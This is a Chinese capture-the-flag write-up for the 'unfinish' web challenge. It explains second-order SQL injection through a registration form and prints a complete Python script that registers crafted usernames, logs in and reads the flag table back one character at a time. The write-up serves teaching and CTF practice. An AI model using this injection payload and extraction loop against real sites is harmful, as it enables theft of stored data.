攻防世界web进阶题—unfinish
攻防世界web进阶题—unfinish
1、看一下题目提示SQL
2、打开题目看一下源码,没有问题
3、查一下网站的组成:php+Apache/2.4.7+Ubuntu
4、扫一下目录,扫到一个注册页面——/register.php
注册一个账号登录,登陆后的界面为
没有可利用的地方,返回上一步,注册,既然是SQL注入,那就尝试着绕过
登录后发现用户名为2
猜测此处的SQL语句为insert ........'username' 我们构造的语句执行为 insert......'1'+'1'
既然知道闭合方式,然后开始注入(二次注入)
用大佬写的poc,我注释一下帮助理解
import requests import re register_url = 'http://111.200.241.244:63310/register.php'#注册网址 login_url = 'http://111.200.241.244:63310/login.php'#登录网址 for i in range(1, 100): register_data = { 'email': '111@123.com%d' % i, 'username': "0' + ascii(substr((select * from flag) from %d for 1)) + '0" % i,#用数据库的加法来依次得到flag的每一位的ascii数值 'password': 'admin' } res = requests.post(url=register_url, data=register_data)#进行注册并修改用户名 login_data = { 'email': '111@123.com%d' % i, 'password': 'admin' } res_ = requests.post(url=login_url, data=login_data)#通过参数来登录 code = re.search(r'<span class="user-name">\s*(\d*)\s*</span>', res_.text)#正则表达式来获取登陆后的用户名 print(chr(int(code.group(1))), end='') #group()用来提出分组截获的字符串,()用来分组,int来转换字符类型,chr 返回值是当前整数对应的 ASCII 字符
得到flag
sql二次注入是什么?
二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。也即是说,我注入了恶意数据,我引用恶意数据来进行SQL注入。